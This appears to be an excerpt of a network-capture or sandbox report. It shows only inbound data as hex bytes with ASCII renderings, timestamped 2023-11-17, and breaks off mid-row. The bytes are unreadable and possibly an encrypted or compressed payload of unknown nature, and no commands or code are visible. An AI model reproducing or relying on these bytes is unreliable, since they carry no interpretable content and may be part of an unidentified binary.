2023-11-17 05:22:24 UTC	3062	IN	Data Raw: a8 6a 13 34 de 1c 38 65 bb e9 df 71 74 ca 65 21 39 0c 69 45 d9 0d ad 25 c8 5c db b1 c8 71 8a 25 cf 99 04 a0 59 ac d8 f1 19 47 a5 46 85 7a 91 46 84 71 66 42 0e 7a a1 7a 9b 24 d9 08 eb 3e 38 9f bb 2e d3 06 59 a5 d9 21 bb 30 d9 10 bb 5c 9f 40 d9 79 d9 16 2b 78 98 40 b8 da d8 d6 bb 3b 96 0e f2 36 fd 41 8b 4b 8e 29 d5 1c b6 37 c8 38 f9 79 c3 58 f6 60 7e 78 97 41 79 7a f9 68 88 4a 4b fa bb 55 bb 29 cf 51 d9 40 bb 78 f9 2f d5 58 93 35 d7 58 d9 71 89 58 eb 70 8b 40 d9 40 93 2e b0 33 ce 19 b5 60 bb 3b f2 6b 9b 0e fc 24 95 78 fc 24 92 78 94 29 d8 0a d9 2f c8 17 bf 34 9b 3b f9 61 ba 30 e9 72 df 58 d9 a8 bb 27 d8 40 bd 0f b0 24 de 27 ad 2f bb 27 b5 2f d8 19 b5 1f c8 98 ad 32 d2 16 be 41 8d 7b c7 40 8b 43 db 00 bc 56 f7 40 b9 7a d7 40 bd 16 b8 40 d6 1d f9 2e d4 0c f9 Data Ascii: j48eqte!9iE%\q%YGFzFqfBzz$>8.Y!0\@y+x@;6AK)78yX`~xAyzhJKU)Q@x/X5XqXp@@.3`;k$x$x)/4;a0rX'@$'/'/2A{@CV@z@@.
2023-11-17 05:22:24 UTC	3078	IN	Data Raw: 3b f7 c9 21 c9 11 aa c1 fd 17 ac 34 a4 79 53 41 e6 f9 c2 40 be fa 5d 21 d9 11 09 2c d2 0c a0 52 9c 56 58 ef be 51 b1 24 d2 0a d9 cb 97 78 c0 c7 bf 1b 59 29 df 1d b7 34 da 14 59 da 97 08 bc 42 cf 78 cf 23 3b 09 bc 31 bd 0d d9 4c ba 70 bd 21 d6 19 be 10 de 0b d9 40 3a 4e b4 c0 39 1d d9 24 95 58 f9 09 d5 58 b7 50 d4 58 bc 36 bb 6a f9 33 d3 70 b8 2c d7 f8 d1 26 d4 55 83 24 f2 28 5b 0a cf 0b 58 62 38 fe b6 40 c9 0b f9 22 de 58 b1 25 bf 14 bd 80 c7 19 bb 2c de 78 d5 40 ef 72 e4 80 b9 08 ab 2f cd 39 19 62 df 58 fb 21 c8 b8 da 6c 7b 5a f9 37 d2 0c b1 c1 87 38 d1 6d 3a 36 a0 41 87 f9 e8 2b 7b 57 f5 60 83 1d a1 30 fb 15 99 65 79 f7 8b 29 3b 1b b1 60 ec 19 b5 25 7b 1e d9 0d d2 13 bc 60 ec 10 b0 26 cf f8 c0 81 bd 3b b1 80 f4 38 eb 2e fb 58 8a 30 d2 1d b5 c1 1b 3b d1 Data Ascii: ;!4ySA@]!,RVXQ$xY)4YBx#;1Lp!@:N9$XXPX6j3p,&U$([Xb8@"X%,x@r/9bX!l{Z78m:6A+{W`0ey);`%{`&;8.X0;
2023-11-17 05:22:24 UTC	3094	IN	Data Raw: fb 12 16 01 d2 1c b3 90 bb 9e d9 70 d9 17 d1 2f b3 a3 b6 48 dc 70 f8 82 99 18 d1 58 d4 70 b9 2a b8 e7 b0 df d2 90 5b 6d 22 81 13 40 79 3a 4c e5 3b 0b 99 30 bb aa 47 16 ef 24 70 84 69 78 98 46 34 b1 ea bc f6 3d d9 d1 e7 f9 46 ad 97 e4 21 40 ad 21 06 de 0e 5c cc 82 bb e0 60 f4 cc 31 05 c9 7f 78 d3 9a 14 b3 87 2b 56 d5 d9 f0 ca 49 32 8f 81 38 d5 40 fd 35 4a ac 30 02 ef 48 bb 7b 72 4c 8f 86 c1 09 39 78 27 87 7c 49 91 c0 c7 66 d9 e2 b4 ea d7 10 72 be 5e 40 50 4e e6 98 8b bb 26 e6 bb 8f 22 e2 76 17 aa 63 45 78 75 16 be e8 29 72 9a 6e d9 c9 7d 08 51 b9 be ef a4 40 18 bf 9a 9d b9 90 e2 7d bb 95 68 01 18 95 e6 fe 60 78 4c 08 7f 96 c7 f3 49 c4 d9 4c 90 e1 09 86 e6 6a 9b 40 3a 99 5a 2e 39 0b e6 66 bb 33 cd d0 15 21 bf 4a 7f 78 54 fe 69 b6 df ee 16 fc d9 2f f3 fc 42 Data Ascii: p/HpXp*[m"@y:L;0G$pixF4=F!@!\`1x+VI28@5J0H{rL9x'\|Ifr^@PN&"vcExu)rn}Q@}h`xLILj@:Z.9f3!JxTi/B
2023-11-17 05:22:24 UTC	3110	IN	Data Raw: bf 93 dd 60 9b b0 bf c9 b4 1e d9 c9 fc 7a 50 37 bf 27 87 48 78 2b 8f d0 b8 f3 03 17 53 5a 4c 30 b8 f3 29 19 fb 7c d7 26 bb 77 67 4c 85 1e 50 4c c8 74 5a ae 4b 20 09 40 bf 46 86 26 fb f1 dd 33 e5 23 1a 90 b9 82 f9 cb 4a 2f 31 03 ea 7e 52 88 ba 98 f2 51 90 86 bf cb bf 4f d9 26 32 7e 54 36 b9 fb 30 58 ba 0d 28 10 be 98 bb 82 dd 41 d9 51 cf 7f 99 26 82 6c 98 40 ce 81 b3 1c e1 93 d8 08 b8 cb d9 e0 e5 f5 dd 01 78 1c 78 42 8b c8 c1 83 78 30 50 0c 9f 78 d1 08 38 94 e1 86 ff 5c d9 60 bb 30 52 04 9f 38 91 40 30 70 31 a5 af 78 d9 4f bf ce 19 70 e3 7c eb 80 50 09 59 08 30 34 fd 00 53 78 c9 fd fa 6a db cb fb 60 5a a0 9a 59 f4 db 38 79 28 e5 33 88 da a6 b8 2e cc a9 b8 30 eb 4f 0d b8 d8 ab 90 bb db 8a ae b5 db 69 71 7a dc 82 b9 30 5a 84 79 40 fb 6b f3 f1 8d 64 bb 65 9a Data Ascii: `zP7'Hx+SZL0)\|&wgLPLtZK @F&3#J/1~RQO&2~T60X(AQ&l@xxBx0Px8\`0R8@0p1xOp\|PY04Sxj`ZY8y(3.0Oiqz0Zy@kde
2023-11-17 05:22:24 UTC	3126	IN	Data Raw: bb 51 d6 f7 b9 fc e9 80 14 c7 e0 ff 82 c7 e0 f4 82 8f 74 79 16 d0 e0 45 59 4f ed a1 8c f3 91 48 ea 12 db 42 7b 57 8b a8 9c 75 d9 40 4b fb 1d 4c 32 ba eb 05 b8 b8 a9 00 b8 fe d5 05 b8 f8 b4 ac 38 40 d9 02 85 6e fd a0 21 fa a7 58 7a 41 0d 5b fe 65 99 33 77 98 e6 23 b9 78 dc 43 ab f1 f2 c0 a9 f9 e2 b4 d9 68 31 e0 a3 43 9c 50 53 77 5a a8 39 40 2d c3 c2 7d f8 7a 60 da ac b4 30 3a dd c3 ab 90 d1 91 53 9a a1 b4 38 b9 82 c0 c0 58 e3 b8 9f 42 98 36 ba 9a 9a b8 8f 43 9c 20 f9 ed fb 48 58 74 2d 43 a5 68 ba 34 9b 44 bb 34 3b 42 10 43 6a 3f 79 e6 f9 00 a9 34 b4 fd 72 83 0f f3 d9 48 b4 ce c8 c5 69 77 5d 4a 32 9a 69 9c 73 c9 b3 48 36 3d c3 9c db da 25 20 19 fb 42 51 e9 90 dd c4 5f 9c 7b 80 3e b8 ad 0f bb f3 94 9c 90 35 0d cb ee 5c 39 5b 7b 20 94 9c d9 29 d1 cb bb 38 c1 Data Ascii: QtyEYOHB{Wu@KL28@n!XzA[e3w#xCh1CPSwZ9@-}z`0:S8XB6C HXt-Ch4D4;BCj?y4rHiw]J2isH6=% BQ_{>5\9[{ )8
2023-11-17 05:22:24 UTC	3142	IN	Data Raw: f3 f3 4d 44 0d 6a d9 08 32 2c fd 38 f7 f3 11 e0 ff f3 18 73 69 79 c6 18 ba 51 69 38 44 e8 71 40 a4 78 b8 60 bb c6 d1 60 bb 05 d8 fe 31 7a d9 40 1b 93 a4 08 30 fc 5d 5d fb 78 a6 11 3b 5f 91 43 ba 79 9c 20 3a 63 b9 41 bb 34 db 08 30 a8 91 cd 37 fa fd 41 9b 90 8e f6 44 87 dd 7d 8a f0 4d cc 9f f8 d9 45 3b 42 9c 73 0b b8 91 cd 2f 7a cc c4 86 fc db 4d be 69 e6 4b bb 47 30 b0 45 87 26 64 52 2d d9 42 03 70 58 59 d0 b8 53 4d ba 54 51 c1 be f5 5d 41 39 7b 5c c0 a1 38 d8 79 fb fb a1 44 bb f3 cd 8f ba 7b 52 00 34 d5 91 ab b5 0d 58 4c f3 78 83 60 39 7f 5b 46 b8 63 41 cb bf 63 d9 33 bf ee 21 cc 9f e8 5b 42 16 78 a4 c4 39 7a 1e 3d d3 b9 a4 28 78 05 a7 11 7c 6a 92 cf 7e 0b d9 46 b5 fc fe 3e 53 bd c0 3e f4 6f a7 d4 9f e0 9a 21 7d 06 f7 28 7a 49 d8 45 6a 27 52 00 bf 93 a3 Data Ascii: MDj2,8siyQi8Dq@x``1z@0]]x;_Cy :cA407AD}ME;Bs/zMiKG0E&dR-BpXYSMTQ]A9{\8yD{R4XLx`9[FcAc3![Bx9z=(x\|j~F>S>o!}(zIEj'R
2023-11-17 05:22:24 UTC	3158	IN	Data Raw: b5 a0 18 0b b2 79 d7 34 e8 b8 9c b8 32 05 21 46 eb 58 5d 82 bd 2b 8f bf eb 68 78 20 bd 2e 52 09 a3 9c d4 6f 5b 75 d9 03 87 7b 1a 4f 0c 30 cd 00 b4 cf 89 46 b8 b0 39 7c a8 68 54 01 87 8f b9 4a bb 58 ac 40 ac 3f 5a 80 93 43 23 32 79 88 b9 48 e8 87 89 60 db 60 9b 52 bb 13 1e 68 30 3c d1 64 50 78 2b 16 ec 77 6e 39 bd 4b db b6 bb 42 f9 4f 0c 39 cd c3 bb b9 c1 43 73 43 88 4c c9 78 d3 cb fa 68 da 01 b7 43 d9 90 cd 76 9f c3 7a 50 e2 48 4c 0a 30 c2 bc bb 52 01 af 78 f2 01 b7 7b 1b ab 48 f3 d9 01 87 77 6e 04 b3 60 18 40 53 71 5a a0 ba bb 8a cb fb a1 61 40 b9 78 d9 40 a6 8a d9 cb c0 44 da bb dd fd 9e 50 a3 f5 5e b8 bb 69 ac 46 36 7c 5e a8 5b 78 52 50 3e aa ac 00 bf 59 cf ab f8 29 59 cd 3b fb 19 24 db e9 8d 58 b3 90 ac 00 ba 78 80 ca f7 60 c8 c0 42 4a c9 35 b3 bf df Data Ascii: y42!FX]+hx .Ro[u{O0F9\|hTJX@?ZC#2yH``Rh0<dPx+wn9KBO9CsCLxhCvzPHL0Rx{Hwn`@SqZa@x@DP^iF6\|^[xRP>Y)Y;$Xx`BJ5
2023-11-17 05:22:24 UTC	3174	IN	Data Raw: 5c cc 0d 25 7b 18 c3 15 bb ee 15 20 ba b0 f9 42 7f 58 db 98 3e c8 d9 94 a8 1e 89 a8 65 c1 58 42 3b 64 51 05 46 f5 94 a4 3b 79 f4 b1 26 b4 9f 42 99 7a 42 f3 bf f2 9c e8 46 91 f2 20 df 93 68 e2 99 ba 6c a3 ea 7d 49 55 9f 87 09 d2 9c 98 ff 5c ba 78 29 c3 c6 8c d9 34 bd fb 2d 3d 4b 5b 7f ab ea cc 9b 42 7a ad 2a 4a 00 f8 d1 51 b0 8d 5b 48 a8 73 6b 42 04 ce db ea 4b c8 db 88 0b 7a 1d f5 b9 b1 64 42 ad eb ce f3 ea 1c 21 12 df 80 c3 fa bb f3 9c b8 22 f1 9c fc 32 78 8c 80 30 2d 19 7b ee a8 d9 4f 3c 8b d9 40 bb 0a d5 40 30 3d 65 7b fe b4 d6 c3 b9 9d d9 74 30 35 2d 43 f6 80 d9 ca aa f0 8c bf 30 3d 29 40 b8 3d 21 ca b3 f0 94 be 3b 77 6f 15 44 f9 23 a8 bb 46 59 35 b0 77 6f 05 45 45 d8 54 bb 0c f9 4f 0d 35 26 c1 42 5a 30 40 ad 77 5c e3 ba 72 6f 15 93 86 58 ba b8 66 4a Data Ascii: \%{ BX>eXB;dQF;y&BzBF hl}IU\x)4-=K[Bz*JQ[HskBKzdB!"2x0-{O<@@0=e{t05-C0=)@=!;woD#FY5woEETO5&BZ0@w\roXfJ
2023-11-17 05:22:24 UTC	3190	IN	Data Raw: f7 bb c6 90 a2 3d db a8 5d 18 38 62 31 0d fe 01 77 c1 70 b0 b9 b9 c8 87 79 d9 d6 33 b4 34 0c 76 f9 7d 3e 50 01 4a dd 7a 1b 0a d1 b0 b8 6e e0 a0 a0 98 ca 52 ba 18 74 51 ba 7c c9 41 fc 7f c5 c2 82 ec 1b 42 56 a9 d4 06 0b 41 0e 41 df 59 c1 90 ba f9 da 25 6a 79 f1 90 ba c2 fb 80 bb b2 f9 98 42 e8 c9 fa 95 63 0a 00 55 b2 d4 11 d3 39 c4 d1 e8 79 11 a8 65 e8 e7 01 03 19 fd 7f ea 79 c8 44 f9 c8 aa 7f fa bd e8 e4 bb 30 95 2b 7b 6b 88 22 a1 fc d8 91 b1 fb a9 b8 81 0c 90 9f ba ac d8 c0 a7 54 96 51 be b9 ca f1 ba d9 f7 a8 2a d9 ba cd 4f cf d9 d4 9f d8 d1 40 bb 30 52 40 37 5c 21 40 bb 78 31 1c bb 32 d9 40 50 60 91 cd 3f ec fd e2 b9 c8 09 46 73 1a 94 41 87 28 4d 64 bb 79 da f8 5b 79 89 0d 92 74 89 50 bf 78 f1 78 ba 50 54 d4 97 5c b9 44 0b 7a 8b 43 bb c8 61 42 ea 78 cb Data Ascii: =]8b1wpy34v}>PJznRtQ\|ABVAAY%jyBcU9yeyD0+{k"TQ*O@0R@7\!@x12@P`?FsA(Mdy[ytPxxPT\DzCaBx
2023-11-17 05:22:24 UTC	3206	IN	Data Raw: bc 77 6e 42 bf 38 e0 cc 9f a0 6f 40 1b 78 d9 40 30 6c 58 08 3b f3 95 64 93 90 67 42 bb b8 d9 80 f3 f3 55 64 bb 7b d9 40 bb 30 da 01 fb 30 50 c4 a7 5c 69 40 33 79 95 41 a7 90 02 f8 bb 87 26 c9 ff 5c e5 c3 c7 d8 fd 7c 44 0c be 41 e7 e8 d8 6e 7f 1b 62 40 95 fc fd f8 ba e4 d9 7c 0e 78 cd fc b9 14 5d 42 87 79 55 80 ba 76 89 23 ff 5c fd 41 dd e0 d9 58 b4 e0 6e 44 fa 79 cf 42 39 7c 58 40 99 4a 11 41 99 f5 4d 42 fe 7d 5c a8 62 39 d9 d4 52 a6 27 bf 44 79 c0 a0 ba 71 c0 1f b0 78 d9 fa 1a 98 d5 f0 31 79 bf 42 0a f3 91 60 53 f4 e0 85 bb 52 dc 82 32 f9 39 40 bd d8 63 f8 29 de 61 4a 9f 6c d2 64 f9 90 d8 52 2c eb 86 81 b1 6a 36 52 7f 72 cb 50 bf 78 cb bb 66 26 93 61 b1 6a 13 4b a9 38 d8 40 a9 63 71 d9 79 dd d3 52 1e 73 cb 10 ba 6a 09 ad 33 08 87 4a a9 f8 d2 52 ba 0d 79 Data Ascii: wnB8o@x@0lX;dgBUd{@00P\i@3yA&\\|DAnb@\|x]ByUv#\AXnDyB9\|X@JAMB}\b9R'Dyqx1yB`SR29@c)aJldR,j6RrPxf&ajK8@cqyRsj3JRy
2023-11-17 05:22:24 UTC	3222	IN	Data Raw: ba 71 e9 46 10 c2 dd 13 bb e0 da ee 13 76 db ee ff 78 77 68 ee 7a 77 58 bb 5c f1 42 15 50 d8 6f 8b c8 91 c3 7b 50 db 7d bb 74 9d 40 e5 d0 f1 33 e2 f8 cc 64 bd 15 fd c2 ae f6 fd c2 ae 78 f4 c0 ab 5c aa 75 3f 7e f6 42 fe fa 4c c0 b8 78 c8 14 bb 72 8b 4c 7a 7a ac 09 b8 28 e9 04 ba 67 59 37 bb 70 9b c8 bf 7a 32 f3 50 7a 5c 42 eb 30 52 40 f3 7d 19 00 ba 78 d9 01 02 93 59 42 fe 38 ea 80 01 d7 76 ef bb 2f 11 60 53 53 fd bf 44 7b 82 b1 41 70 26 bf 03 f8 d7 40 f3 fb 1d 48 d3 bb 15 43 bb 30 50 0c 9f 58 d1 08 3a 94 11 c2 d5 fc fd 12 6b fa da 00 8b fb 03 cc 38 7f da c0 fa 48 91 c9 3f 5c 51 c8 aa 49 d9 c9 8b c2 df 42 b3 7b cb a8 29 76 d4 40 bd f9 3b c1 f3 38 5a 38 bf 98 d9 4f 3f 74 db 41 ab f8 da 80 9c 2f d3 53 3b 42 99 04 eb 3a 9d 4e 7e 34 cd a1 fd 24 e9 c3 c3 74 59 Data Ascii: qFvxwhzwX\BPo{P}t@3dx\u?~BLxrLzz(gY7pz2Pz\B0R@}xYB8v/`SSD{Ap&@HC0PX:k8H?\QIB{)v@;8Z8O?tA/S;B:N~4$tY
2023-11-17 05:22:24 UTC	3238	IN	Data Raw: bb 58 19 40 ee b8 db 4f bb 67 9d 40 bb bb d6 f7 b1 b0 bf c9 b3 f8 e5 4a f3 f8 d8 00 b8 58 9d 4f 0d 3a db c0 bf 3c 51 40 fb 7a 1a 4f 0d 72 51 48 bb bb 2a 4f d4 7a 2a 4f c4 78 d9 83 dd e8 95 cb b9 77 d1 f7 f1 70 d9 49 f1 72 95 c9 ab 78 bf c9 f3 78 d3 08 b1 bb 9d cb b1 39 d6 5f bb f3 1b 4f bf 55 5b 4f bf b8 d2 81 b8 cf 18 43 dd 3c b7 c9 bb 7c 1c 43 7a 77 df 44 be b8 d6 46 d1 bb 19 55 30 fb cc 4c 3b 6d 9a 55 b7 69 1d 5b 0d 32 d1 20 b9 f0 91 48 40 9f d6 04 b4 bb 38 41 5b 7e 9a 46 5a 77 3c 48 c5 cf 3c 48 fb 74 d8 49 5e 51 31 43 3b 75 8b 42 b5 f0 dd 04 33 28 d7 83 b4 78 c9 44 aa 34 da 81 f3 fb d9 81 ab 39 2f 83 b4 0c ca c0 b4 50 11 08 38 99 29 a1 b9 79 5b 42 b4 69 d2 0c 90 b9 94 c1 7b 3b 18 a9 bc 77 5d c8 da 40 d9 69 fa 88 95 7b b6 e9 a8 e0 ba 78 af 57 52 78 a3 Data Ascii: X@Og@JXO:<Q@zOrQHOzOxwpIrxx9_OU[OC<\|CzwDFU0L;mUi[2 H@8A[~FZw<H<HtI^Q1C;uB3(xD49/P8)y[Bi{;w]@i{xWRx
2023-11-17 05:22:24 UTC	3254	IN	Data Raw: 53 09 c9 9c 44 87 49 c0 ae 50 59 7d bf e5 f5 80 a6 0d 95 08 36 75 bd b0 9a d9 68 4d c2 78 db a0 b6 da cb 5e 7a 78 d4 8b 9a 49 50 45 d7 69 58 42 32 75 8c 20 bb 90 4d a2 af 87 26 80 e0 21 69 40 f7 f3 19 e0 09 79 60 bd 44 78 b6 c6 6b 4b 51 86 be 37 99 41 ba c8 d8 20 bd fa f1 40 da 94 f1 a8 28 99 a9 4a f3 f5 cc 6c 4a 7b 52 88 ca 79 30 4e 77 29 e1 f0 b5 d8 5d 2c 9f 58 8f 00 ec 39 8d 01 ed 39 78 53 fb 61 a9 18 50 65 ad 18 da 31 52 b2 53 3a f6 10 e1 4b 02 cb 43 39 8e 14 3a a8 ce 0c 36 5d 81 62 ba f8 ec 40 48 31 52 84 36 13 d8 79 2b 40 d6 c4 fd a9 9d 43 4e a8 50 40 8b 39 5a be be 0a 32 c1 b7 87 31 c2 e0 88 b8 40 b4 cf 16 10 44 6d 04 3e d8 23 cd 40 ba c0 d8 01 e6 43 21 35 9d 30 50 06 ab 7c 91 c9 25 19 89 c9 e5 60 59 26 32 26 c5 08 36 06 49 29 2f bb 60 60 fd 78 b9 Data Ascii: SDIPY}6uhMx^zxIPEiXB2u M&!i@y`DxkKQ7A @(JlJ{Ry0Nw)],X99xSaPe1RS:KC9:6]b@H1R6y+@CNP@9Z21@Dm>#@C!50P\|%`Y&2&6I)/``x
2023-11-17 05:22:24 UTC	3270	IN	Data Raw: 36 3a d6 49 eb 48 ae 43 7b 2a 91 c3 5b 88 dd a8 20 58 b1 08 90 98 91 cd fa 99 c5 c5 60 77 5d d3 3b 7b 1e 48 b8 b4 15 90 82 6e 91 cb 71 50 31 96 7a b9 cc 98 aa 40 d3 87 f3 78 04 9d 1a 72 1a 50 19 7a b1 f7 1b 7a 91 4a 49 06 63 a1 b0 39 d3 12 fb 72 f4 51 b1 4a d9 41 8b 13 f1 70 a2 b6 91 11 79 13 94 cb 7f de d5 6c 19 74 39 05 3a 7a d0 e2 b7 b4 91 43 4b 24 98 41 1b 74 11 08 a0 b1 91 63 73 30 d6 c4 4b 09 fd c1 42 7a d5 75 38 c8 d8 40 b7 b9 ae 4a f3 c0 1f 4d 92 09 d5 93 a0 0c d5 3c ca 74 26 4f a9 fc 98 c8 7c 7f ab 4c a8 90 c8 f7 f9 74 19 30 f3 74 1e 00 b7 08 db d2 f9 20 d9 05 b3 34 54 37 4b 3c 50 df 3b 72 a9 4a f9 74 8b e2 8a 72 51 f0 4b 1a cb 89 9b 3a c3 ff 2a 7b 98 79 85 30 ac 48 f2 d8 73 20 2c 49 42 0b 3b 88 e0 79 50 22 52 15 db f2 5d 8d f3 f8 8c 00 f7 f3 1a Data Ascii: 6:IHC{[ X`w];{HnqP1z@xrPzzJIc9rQJApylt9:zCK$Atcs0KBzu8@JM<t&O\|Lt0t 4T7K<P;rJtrQK:{y0Hs ,IB;yP"R]
2023-11-17 05:22:24 UTC	3285	IN	Data Raw: de 78 f8 4b b4 0b d3 4f dc 78 c3 34 b1 77 b1 40 1e 71 d6 2d bb 00 08 4a b4 16 d9 29 b1 77 a9 48 64 7b d6 06 de 74 d6 cb f4 08 d9 39 31 7f aa 14 bb 0e 53 47 ce f4 d6 36 33 5f ad eb 39 27 5e 47 ce f2 be 26 3b 3c f4 c0 f5 cd 5c 77 dd f8 dc 6d 39 7a 5c 47 d4 fa de fd 3e f7 bf c0 af f9 6e c5 9c fb de 23 3d 1f 04 c5 bc 10 53 47 3a 7a 50 47 d7 f8 9b c9 bc 22 b4 c6 0c 1f 59 4d 32 37 be 82 90 11 04 86 ec 10 19 46 7a 7b 1c 37 d3 ba f2 89 bc 87 1a 67 7e 5b 1a 43 fa 79 1c 43 7a 6b 98 41 7e 7b b3 39 79 eb b4 84 b8 11 19 c2 7a 92 ac 8c d1 5f 70 b1 06 16 34 d0 52 6b bd bf 7d 7b 18 13 fa 79 1c 43 7a 2b 1e 77 78 7b 98 41 0e 7b d9 2a 79 2b b3 00 d7 7b d9 2b 79 7b 73 27 7d 33 b2 00 bb 55 19 40 c1 be da bb 7a cf 1e 6f d0 38 83 01 b3 3d dd 81 b8 b9 d2 f5 7e 57 b2 82 90 13 99 Data Ascii: xKOx4w@q-J)wHd{t91SG63_9'^G&;<\wm9z\G>n#=SG:zPG"YM27Fz{7g~[CyCzkA~{9yz_p4Rk}{yCz+wx{A{*y+{+y{s'}3U@zo8=~W
2023-11-17 05:22:24 UTC	3301	IN	Data Raw: 77 8e 78 31 6e 26 1a df eb 2c 3f 76 47 6c ee bc af 40 25 41 f1 79 2c 40 6b aa a7 ac bc 98 19 4b 4d 51 2d 40 16 8d d9 d8 e7 64 24 70 34 34 3a 88 47 78 2f 46 d8 22 99 74 74 66 f4 c5 23 84 ff f9 90 8e c6 b3 8f c2 25 40 ac 8d d9 82 e9 58 8d f4 8c 50 24 b6 0f b9 0a 00 e9 58 7f a4 62 18 2c 40 93 b8 0d 3a 04 d6 7d f8 4d 1d 24 63 bb b0 87 3e fe 57 88 db 96 7b 25 74 4d b7 d9 1e e7 6a ef 01 ad b2 2f 8f 4f 78 1b b6 bf 2e cf b3 ab ef 3d 87 c9 8e 15 12 c7 b1 d1 56 a2 fd 2f 38 30 a3 af a3 b3 ff 81 b4 4d 63 cb 18 89 bb d1 df 87 b3 2f 47 3b a6 a7 35 a3 5e 31 98 4d be 24 99 f0 2e cd 50 9c fe cc fe 4d 7c d2 91 a5 08 17 f7 73 db 2f 24 4f 0d 2f e3 13 38 09 3e 49 cf a0 95 4d 1c aa 00 6b 26 45 ff a3 4d c6 14 bd 5f 70 b1 06 16 34 d0 52 d2 2f 16 93 38 8c 10 3b cf b5 8d 4d 2e 12 Data Ascii: wx1n&,?vGl@%Ay,@kKMQ-@d$p44:Gx/F"ttf#%@XP$Xb,@:}M$c>W{%tMj/Ox.=V/80Mc/G;5^1M$.PM\|s/$O/8>IMk&EM_p4R/8;M.
2023-11-17 05:22:24 UTC	3317	IN	Data Raw: 3f bb 05 d3 d3 9f 4a d0 2f 74 61 2d 30 d8 50 14 4a 50 83 1e 82 b4 a7 59 d1 ad d8 2f 6f 79 37 2b a7 93 3f 03 9b 04 b4 a7 ad 53 03 75 b0 da b2 d3 b2 7a 40 c6 6f 65 7f f7 b7 a1 60 9b a3 c4 9f e5 d1 e7 a8 43 94 31 01 be 0b e0 ff 24 01 0b b6 f2 b9 dc c3 fd 50 3b 76 85 99 bc fa 54 09 e0 bd 29 a7 fc cf 71 82 cf 66 90 15 9d a7 29 31 a0 d9 3f 88 1d 24 cf 80 51 c7 26 f4 91 dc f8 cb a1 69 eb fa ae 84 ba 36 b1 d0 05 a2 56 e1 e6 f5 78 f2 c7 5a 04 bf c6 50 50 93 ee 27 3a e9 c0 9f 75 85 16 fd 27 14 42 c9 f3 da d6 54 ee 98 7c e1 5c 80 db 79 2d 27 9c 6e 16 40 b4 f8 66 58 3e ce a8 6a 48 35 52 ca 3b 03 b4 f8 d9 31 67 9d 59 58 a5 c0 df 92 21 66 6c f6 1f 2d f1 07 04 40 34 96 b6 2b 4d 1f 25 56 66 42 77 46 17 c9 cd c9 fb ad 42 86 3e 27 ae f1 51 bb 9f 31 da f2 7e 8f 44 a9 ae 6f Data Ascii: ?J/ta-0PJPY/oy7+?Suz@oe`C1$P;vT)qf)1?$Q&i6VxZPP':u'BT\|\y-'n@fX>jH5R;1gYX!fl-@4+M%VfBwFB>'Q1~Do
2023-11-17 05:22:24 UTC	3333	IN	Data Raw: 91 df 88 fb 06 e7 af 66 32 24 4b 58 ac 88 49 4b e6 3f e0 a8 c7 e1 70 ce 6d ca b4 f7 73 9f 11 1e 3d b2 62 5a 24 97 0b ec 02 2b 79 1e 58 0d d3 13 9b e1 1e 1b ad b7 88 20 bc e2 69 dc 92 56 db f4 cc e0 9f ae ef ea 62 2f 35 12 4e 8b 37 3b f8 d9 31 f0 ba 59 58 a5 c0 aa 92 21 66 6c f3 c9 2d f1 a7 c2 8a 88 8a b4 e0 cb d8 ef 69 31 22 e6 bf 99 69 0b 4d bd 74 86 49 31 d6 ac 32 56 7f 50 9c 23 4e f1 2e 82 96 0d cc b1 85 bb 44 1f 22 cc c3 ec 53 ee d4 b8 7a 55 56 f8 38 cd 38 25 65 eb f0 34 15 de 5a e3 c1 03 88 b6 be 3a e6 ec 04 fb b9 b3 eb a8 3d 32 2e c3 89 12 e8 83 d6 d6 cc a6 98 66 19 05 c8 45 7a 91 af 3a 30 19 4d 44 40 67 f1 c7 b4 21 e2 f6 70 d5 bf d3 b9 12 68 aa 09 87 ec 06 12 14 3c d5 44 d9 6d 1e 18 b0 ac 3c 90 92 71 d7 c8 26 4c bf 9e f1 89 40 03 d0 5a db 24 3b 4c Data Ascii: f2$KXIK?pms=bZ$+yX iVb/5N7;1YX!fl-i1"iMtI12VP#N.D"SzUV88%e4Z:=2.fEz:0MD@g!ph<Dm<q&L@Z$;L
2023-11-17 05:22:24 UTC	3349	IN	Data Raw: 4f 6d 75 75 44 d2 b2 27 4e bc 0d 4d 94 ed b1 ba b4 98 8b 9d 9b b5 bc c3 1f aa b5 a8 96 02 06 7e 37 df 9a e3 44 88 cb fa d3 df 9d e7 5b d5 89 c8 91 b2 6d 22 6f 6e 61 8e db 52 38 33 25 88 3d ab e5 9d b7 29 89 35 91 0b f7 a1 86 01 29 d2 e9 08 cc de f7 c4 c9 a1 69 6b 35 20 70 f7 a7 81 6a 84 e6 aa 1e ab e2 93 3c 8a 2d ca e2 31 1a f7 d2 9f 61 4d 2f 79 1f 95 c1 52 09 e6 94 9c 51 0f 54 18 d6 7f dc 66 c7 d6 ce e6 bc e2 b2 dc 32 90 87 cc d0 24 50 59 9f e8 95 7a f1 dd cb 3b 82 fb 5b 66 a0 17 08 9c 97 d1 80 43 d2 54 e0 ab 0a e5 6f f9 c0 0b ca b3 51 c3 6f 6a 1e 25 44 d6 87 b8 da 91 ae 2d ce ff dc 27 8f 59 41 4d ff fe 7e 50 35 9a 2b f8 49 6f 86 65 3a 74 4a 06 c2 d9 62 ed 90 53 6b 7f e2 1d 52 70 c2 e6 4f 65 ff 24 01 db 3a 39 86 54 b6 f3 26 b9 81 9f 90 39 28 59 01 58 38 Data Ascii: OmuuD'NM~7D[m"onaR83%=)5)ik5 pj<-1aM/yRQTf2$PYz;[fCToQoj%D-'YAM~P5+Ioe:tJbSkRpOe$:9T&9(YX8
2023-11-17 05:22:24 UTC	3365	IN	Data Raw: ce 83 d8 d8 6c 5d 12 de 33 40 d8 48 1f 5e 45 88 bd e2 98 5d 57 99 e0 72 ab 9d 2f 3c 96 8f 6b 48 b0 5e 0f f4 52 32 9f 09 47 17 09 3c 51 62 01 0b d0 89 67 6c c1 49 48 f8 c0 07 b2 76 9e d1 e9 0d 02 3a 9e e9 e2 b1 bd e3 0b cd 8d f4 98 41 48 58 27 ea 00 ad bf 51 f7 50 08 37 4b 8b b2 67 f4 b2 cb a4 86 56 e0 78 3e 62 6b aa b5 c6 54 4f ca 70 b2 57 74 71 09 8f 5c 38 5a 9a a6 29 e2 38 0c 08 ec 14 f9 4f 0d ac bd dd 2d a9 c7 7e c6 1f 64 90 15 9d af dd 9b 97 62 8d 1d 9f f0 01 29 a6 e9 fc 7c 5d 81 0f 07 ec 5a c6 89 c1 72 f7 a7 ad 2d bf 27 2f de df 6c 40 f2 c7 e9 41 b7 39 d2 1d ec 07 24 b1 ac b7 a6 9e 28 12 98 be e8 22 a6 bd 19 95 87 f9 d5 91 63 a1 00 bb 72 